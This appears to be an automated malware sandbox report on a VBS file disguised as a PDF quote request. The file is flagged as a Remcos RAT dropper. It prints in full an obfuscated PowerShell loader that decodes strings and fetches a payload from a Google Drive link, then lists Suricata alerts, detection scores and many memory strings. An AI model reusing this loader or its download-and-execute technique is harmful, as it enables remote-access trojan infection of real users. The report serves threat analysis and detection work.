Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "echo $Uncaramelised;function Spuledes($Soncy){ .($Industrivirksomheders) ($Soncy)} function Paining($Kortform){$Suprascapular225=4;do{$Ancientest+=$Kortform[$Suprascapular225];$Suprascapular225+=5;$Rockerkrig=Format-List} until(!$Kortform[$Suprascapular225])$Ancientest}$Strghandlen=Paining 'ErhvNPouleHje TCere.Enclw';$Strghandlen+=Paining 'SneaEBrugbBla cOv rLFin iPr eE ArgNKelpT';$cravenhearted=Paining ' pplMSt roBenezScoriAraplOverlOweraUdvi/';$where=Paining ' GerT Retl HydsBitt1Fast2';$Cellobiose='Carl[Ch.rnSmaaeSo ftMono.EngrSAlfaeA.skr l,nvLy tIOverCSammEp.akp,espoTid,ISu gNB gfTAfseMSoc ABroenCensA uslGMobieSljfr.air]C mo:Mosa:PolySEsurESpekcRrinuB,koRKe tiRecotStvdyEa ePTrevrSparoDyflTEgneOTrapCBlokO KryLTryk=S.ua$,uscwBos Hstnke IterD.agE';$cravenhearted+=Paining 'A,th5 Amy.Hogn0galg Emp(KontW CapiSk.fnContd.yreoKo pw,redsUnna MensNUretTBust Beha1Sass0Data..ppl0Staa; For SmagW DisiFestn Til6 ol4Ufo,;Gyps ssex Nar6Sven4Amat;M ka ktt.rTeknvMene:afko1Inve3linj4Cont. M,v0Sept)Sex, CrocGSpyteTtnecAirvkNe.eodato/Uku.2 ou0Fors1Paar0 Cum0 Dag1Dipo0Impr1Hypn LeaF evii ammrBraeeBr,mf Hygo BruxOro./T yk1Ajou3T np4Hogf.Ni e0';$Unfauceted=Paining 'Roc.UMe,aSBy.neT.kbREven-GreeAPortG BraE PhenOrdst';$Disbursable=Paining 'Pa thMetetBiblt,rivpF,rssC.ar: For/ Je,/SyridAilcrAbsyiFrasvForleHove.SnvrgRickoU,saoSk vg CanlOxmaedi,t. islcGentoEnf mRaah/G leuTaalcTwan?.taveConrx .mvp.steoSrh rCarptEmpi=Hvisd HetoFredwMissn entlRepaoabsta P.rdTilb&Ariai Sard Fr,=Kbte1 Ilmi Mu 7LgbrdAlt.wAkk fVig RBlokP BemhBemavFejl9B.utuObol6 ktiAR lsAA,sudBorg6 MosiUniorNavaYUtilY Fil6Def 3HumdbDiktwH dgG Fo,YS.ceeAttr4conc-Simp0 rivQF lkC';$Benzinmotorernes=Paining 'Ere >';$Industrivirksomheders=Paining 'VauliEav Etanyx';$Samfundshjlperens='Fredningsplanerne';$Cocoon='\Squarely154.Gen';Spuledes (Paining ' A,s$miljgBrnel udeOFlorB hura Till ,nh:Tri,pHarmASoutV tiiOut NDrecSRut =Bonn$Af.aeFlinnPensV ur:AccrASirtpVag.p FerDSemiaPrept Hica Wee+Out.$AubacErytOA.ymcUngaoBo,yoGa,nn');Spuledes (Paining ' R.g$ micgR jsLSatsOGophB oorATantla ba: Sc mInfiA umMKapsmD ngOrundN rkeISekuSAfklMpart=Fork$T ssD KafiRailSPachB Co uAlloRHin ST lgaA taBRygtlulveE ve.Con,S,salp ummLKbeliBemgT Tri( ndi$Wel b .lieOpk nPee,Z sa.IAdeln ResMBremoD,aiTT psOUnterAfg eWo dRFin.NEth e l gsford)');Spuledes (Paining $Cellobiose);$Disbursable=$Mammonism[0];$forevigende=(Paining 'L ce$Rbd GCherL parOKv.kbKamgAAlmaLVanr:FodeuE akdOutbFLeucLHutuaDiktaCayadStilDOlymESterNForne th.SGhan=Ho.eNBagkEeuphwKirk- ClaOEkspbPinnJCen.e.dskCpredTHy,o SlacsFagmyGameSInert pheeCarnmBall.pidd$Indss djotGadgRSejlGTermh KnaAKrign AppD liglFagfEMegaN');Spuledes ($forevigende);Spuledes (Paining 'Lago$Esa,UNapod mof C ll.risa.ulkaveksdNonpdRente A,enFazieSul,sPrev. ,xeH Fo,eFritaLuded UdfeUdplrK.ntsVali[ L n$LegaUD.pin BerfDamea.ntiuAnt cstryequict Tare U,bdHvid] Per=Frdi$UncocFormrLittaP kevDawfemacan esuh ArbeFru aExtrrKun tF rueaglyd');$svaledes=Paining '

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 628, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 4232, ProcessName: svchost.exe

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-10T20:37:43.184571+0100	2803305	3	Unknown Traffic	192.168.2.10	49685	142.250.186.174	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-10T20:38:35.543821+0100	2803270	2	Potentially Bad Traffic	192.168.2.10	49696	142.250.186.174	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: ANGEBOTSANFRAGE (Universit#U00e4t Klagenfurt) 10-03-2025#U00b7pdf.vbs	Virustotal: Detection: 16%			Perma Link
Source: ANGEBOTSANFRAGE (Universit#U00e4t Klagenfurt) 10-03-2025#U00b7pdf.vbs	ReversingLabs: Detection: 15%

Yara detected Remcos RAT

Source: Yara match	File source: 00000010.00000002.1859072664.000000000064C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: msiexec.exe PID: 7632, type: MEMORYSTR

Joe Sandbox ML detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.8% probability

Source: unknown	HTTPS traffic detected: 142.250.186.174:443 -> 192.168.2.10:49682 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.174:443 -> 192.168.2.10:49685 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.161:443 -> 192.168.2.10:49687 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.174:443 -> 192.168.2.10:49696 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.161:443 -> 192.168.2.10:49697 version: TLS 1.2

Source:	Binary string: m.Core.pdb{ source: powershell.exe, 0000000E.00000002.1696135533.0000000008C32000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.Management.Automation.pdb source: powershell.exe, 0000000E.00000002.1696135533.0000000008C10000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: (non)Standard Marshaling for IWbemObjectSinkEx.pdb source: powershell.exe, 00000004.00000002.1380327137.00000225FA249000.00000004.00000020.00020000.00000000.sdmp

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Uses ping.exe to check the status of other devices and networks

Source: C:\Windows\System32\wscript.exe

Process created: C:\Windows\System32\PING.EXE ping Host_6637.6637.6637.657e

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1i7dwfRPhv9u6AAd6irYY63bwGYe4-0QC HTTP/1.1Host: drive.google.com
Source: global traffic	HTTP traffic detected: GET /download?id=1i7dwfRPhv9u6AAd6irYY63bwGYe4-0QC&export=download HTTP/1.1Host: drive.usercontent.google.comConnection: Keep-Alive

Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.10:49685 -> 142.250.186.174:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.10:49696 -> 142.250.186.174:443

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1i7dwfRPhv9u6AAd6irYY63bwGYe4-0QC HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: drive.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1lG2PFpFYkSI6X_VCBq4gFHA1GeoYlhZf HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=1lG2PFpFYkSI6X_VCBq4gFHA1GeoYlhZf&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1i7dwfRPhv9u6AAd6irYY63bwGYe4-0QC HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: drive.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1i7dwfRPhv9u6AAd6irYY63bwGYe4-0QC HTTP/1.1Host: drive.google.com
Source: global traffic	HTTP traffic detected: GET /download?id=1i7dwfRPhv9u6AAd6irYY63bwGYe4-0QC&export=download HTTP/1.1Host: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1lG2PFpFYkSI6X_VCBq4gFHA1GeoYlhZf HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=1lG2PFpFYkSI6X_VCBq4gFHA1GeoYlhZf&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: Host_6637.6637.6637.657e
Source: global traffic	DNS traffic detected: DNS query: drive.google.com
Source: global traffic	DNS traffic detected: DNS query: drive.usercontent.google.com

Source: powershell.exe, 0000000E.00000002.1689306097.0000000007B44000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft
Source: svchost.exe, 00000006.00000002.2385015226.000001B674000000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: wscript.exe, 00000000.00000003.1120709993.000001DF4E52E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1121269324.000001DF4E539000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1122327472.000001DF4E539000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
Source: wscript.exe, 00000000.00000003.1120709993.000001DF4E52E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1121269324.000001DF4E539000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1113401012.000001DF4E5D8000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1122327472.000001DF4E539000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1113527167.000001DF4E5D8000.00000004.00000020.00020000.00000000.sdmp, 77EC63BDA74BD0D0E0426DC8F80085060.0.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: wscript.exe, 00000000.00000003.1113401012.000001DF4E586000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1113527167.000001DF4E5AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?7cd8671cae473
Source: wscript.exe, 00000000.00000003.1113401012.000001DF4E586000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1113527167.000001DF4E5AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com:80/msdownload/update/v3/static/trustedr/en/authrootstl.cab?7cd8671cae
Source: qmgr.db.6.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.6.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.6.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.6.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.6.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.6.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.6.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: powershell.exe, 00000004.00000002.1371459789.0000022590070000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000004.00000002.1344746282.0000022580227000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000004.00000002.1344746282.0000022580001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.1655297069.0000000004EF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000004.00000002.1344746282.0000022580227000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 0000000E.00000002.1689306097.0000000007BAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.
Source: powershell.exe, 00000004.00000002.1344746282.0000022580001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 0000000E.00000002.1655297069.0000000004EF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lBYq
Source: powershell.exe, 00000004.00000002.1344746282.000002258049F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1344746282.000002258049B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1344746282.0000022580483000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000010.00000003.1765185620.0000000000679000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000010.00000003.1765185620.0000000000687000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000010.00000003.1765254963.0000000000687000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com
Source: powershell.exe, 00000004.00000002.1371459789.0000022590070000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000004.00000002.1371459789.0000022590070000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000004.00000002.1371459789.0000022590070000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000004.00000002.1344746282.000002258172D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.g
Source: powershell.exe, 00000004.00000002.1344746282.000002258172D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.go
Source: powershell.exe, 00000004.00000002.1344746282.000002258172D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.goo
Source: powershell.exe, 00000004.00000002.1344746282.000002258172D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.goog
Source: powershell.exe, 00000004.00000002.1344746282.000002258172D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.googl
Source: powershell.exe, 00000004.00000002.1344746282.000002258172D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google
Source: powershell.exe, 00000004.00000002.1344746282.000002258172D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.
Source: powershell.exe, 00000004.00000002.1344746282.000002258172D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.c
Source: powershell.exe, 00000004.00000002.1344746282.000002258172D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.co
Source: powershell.exe, 00000004.00000002.1344746282.0000022580227000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1344746282.000002258172D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com
Source: powershell.exe, 00000004.00000002.1344746282.000002258172D000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000010.00000002.1859072664.000000000060A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/
Source: msiexec.exe, 00000010.00000002.1859072664.000000000060A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/D
Source: powershell.exe, 00000004.00000002.1344746282.000002258172D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/u
Source: powershell.exe, 00000004.00000002.1344746282.000002258172D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc
Source: powershell.exe, 00000004.00000002.1344746282.000002258172D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?
Source: powershell.exe, 00000004.00000002.1344746282.000002258172D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?e
Source: powershell.exe, 00000004.00000002.1344746282.000002258172D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?ex
Source: powershell.exe, 00000004.00000002.1344746282.000002258172D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?exp
Source: powershell.exe, 00000004.00000002.1344746282.000002258172D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?expo
Source: powershell.exe, 00000004.00000002.1344746282.000002258172D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?expor
Source: powershell.exe, 00000004.00000002.1344746282.000002258172D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export
Source: powershell.exe, 00000004.00000002.1344746282.000002258172D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=
Source: powershell.exe, 00000004.00000002.1344746282.000002258172D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=d
Source: powershell.exe, 00000004.00000002.1344746282.000002258172D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=do
Source: powershell.exe, 00000004.00000002.1344746282.000002258172D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=dow
Source: powershell.exe, 00000004.00000002.1344746282.000002258172D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=down
Source: powershell.exe, 00000004.00000002.1344746282.000002258172D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=downl
Source: powershell.exe, 00000004.00000002.1344746282.000002258172D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=downlo
Source: powershell.exe, 00000004.00000002.1344746282.000002258172D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=downloa
Source: powershell.exe, 00000004.00000002.1344746282.000002258172D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download
Source: powershell.exe, 00000004.00000002.1344746282.000002258172D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&
Source: powershell.exe, 00000004.00000002.1344746282.000002258172D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&i
Source: powershell.exe, 00000004.00000002.1344746282.000002258172D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id
Source: powershell.exe, 00000004.00000002.1344746282.000002258172D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=
Source: powershell.exe, 00000004.00000002.1344746282.000002258172D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1
Source: powershell.exe, 00000004.00000002.1344746282.000002258172D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1i
Source: powershell.exe, 00000004.00000002.1344746282.000002258172D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1i7
Source: powershell.exe, 00000004.00000002.1344746282.000002258172D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1i7d
Source: powershell.exe, 00000004.00000002.1344746282.000002258172D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1i7dw
Source: powershell.exe, 00000004.00000002.1344746282.000002258172D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1i7dwf
Source: powershell.exe, 00000004.00000002.1344746282.000002258172D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1i7dwfR
Source: powershell.exe, 00000004.00000002.1344746282.000002258172D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1i7dwfRP
Source: powershell.exe, 00000004.00000002.1344746282.000002258172D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1i7dwfRPh
Source: powershell.exe, 00000004.00000002.1344746282.000002258172D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1i7dwfRPhv
Source: powershell.exe, 00000004.00000002.1344746282.000002258172D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1i7dwfRPhv9
Source: powershell.exe, 00000004.00000002.1344746282.000002258172D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1i7dwfRPhv9u
Source: powershell.exe, 00000004.00000002.1344746282.000002258172D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1i7dwfRPhv9u6
Source: powershell.exe, 00000004.00000002.1344746282.000002258172D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1i7dwfRPhv9u6A
Source: powershell.exe, 00000004.00000002.1344746282.000002258172D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1i7dwfRPhv9u6AA
Source: powershell.exe, 00000004.00000002.1344746282.000002258172D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1i7dwfRPhv9u6AAd
Source: powershell.exe, 00000004.00000002.1344746282.000002258172D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1i7dwfRPhv9u6AAd6
Source: powershell.exe, 00000004.00000002.1344746282.000002258172D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1i7dwfRPhv9u6AAd6i
Source: powershell.exe, 00000004.00000002.1344746282.000002258172D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1i7dwfRPhv9u6AAd6ir
Source: powershell.exe, 00000004.00000002.1344746282.000002258172D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1i7dwfRPhv9u6AAd6irY
Source: powershell.exe, 00000004.00000002.1344746282.000002258172D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1i7dwfRPhv9u6AAd6irYY
Source: powershell.exe, 00000004.00000002.1344746282.000002258172D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1i7dwfRPhv9u6AAd6irYY6
Source: powershell.exe, 00000004.00000002.1344746282.000002258172D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1i7dwfRPhv9u6AAd6irYY63
Source: powershell.exe, 00000004.00000002.1344746282.000002258172D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1i7dwfRPhv9u6AAd6irYY63b
Source: powershell.exe, 00000004.00000002.1344746282.000002258172D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1i7dwfRPhv9u6AAd6irYY63bw
Source: powershell.exe, 00000004.00000002.1344746282.000002258172D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1i7dwfRPhv9u6AAd6irYY63bwG
Source: powershell.exe, 00000004.00000002.1344746282.000002258172D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1i7dwfRPhv9u6AAd6irYY63bwGY
Source: powershell.exe, 00000004.00000002.1344746282.000002258172D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1i7dwfRPhv9u6AAd6irYY63bwGYe
Source: powershell.exe, 00000004.00000002.1344746282.000002258172D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1i7dwfRPhv9u6AAd6irYY63bwGYe4
Source: powershell.exe, 00000004.00000002.1344746282.000002258172D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1i7dwfRPhv9u6AAd6irYY63bwGYe4-
Source: powershell.exe, 00000004.00000002.1344746282.000002258172D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1i7dwfRPhv9u6AAd6irYY63bwGYe4-0
Source: powershell.exe, 00000004.00000002.1344746282.000002258172D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1i7dwfRPhv9u6AAd6irYY63bwGYe4-0Q
Source: powershell.exe, 00000004.00000002.1344746282.000002258172D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1i7dwfRPhv9u6AAd6irYY63bwGYe4-0QC
Source: powershell.exe, 00000004.00000002.1344746282.0000022580227000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1i7dwfRPhv9u6AAd6irYY63bwGYe4-0QCP
Source: powershell.exe, 0000000E.00000002.1655297069.0000000005046000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1i7dwfRPhv9u6AAd6irYY63bwGYe4-0QCXR
Source: msiexec.exe, 00000010.00000002.1874917486.0000000020A00000.00000004.00001000.00020000.00000000.sdmp, msiexec.exe, 00000010.00000002.1859072664.000000000060A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1lG2PFpFYkSI6X_VCBq4gFHA1GeoYlhZf
Source: msiexec.exe, 00000010.00000002.1859072664.000000000060A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1lG2PFpFYkSI6X_VCBq4gFHA1GeoYlhZf3
Source: msiexec.exe, 00000010.00000002.1859072664.000000000060A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1lG2PFpFYkSI6X_VCBq4gFHA1GeoYlhZflJ
Source: powershell.exe, 00000004.00000002.1344746282.000002258049F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com
Source: msiexec.exe, 00000010.00000003.1824595082.0000000000687000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000010.00000002.1859072664.0000000000680000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/
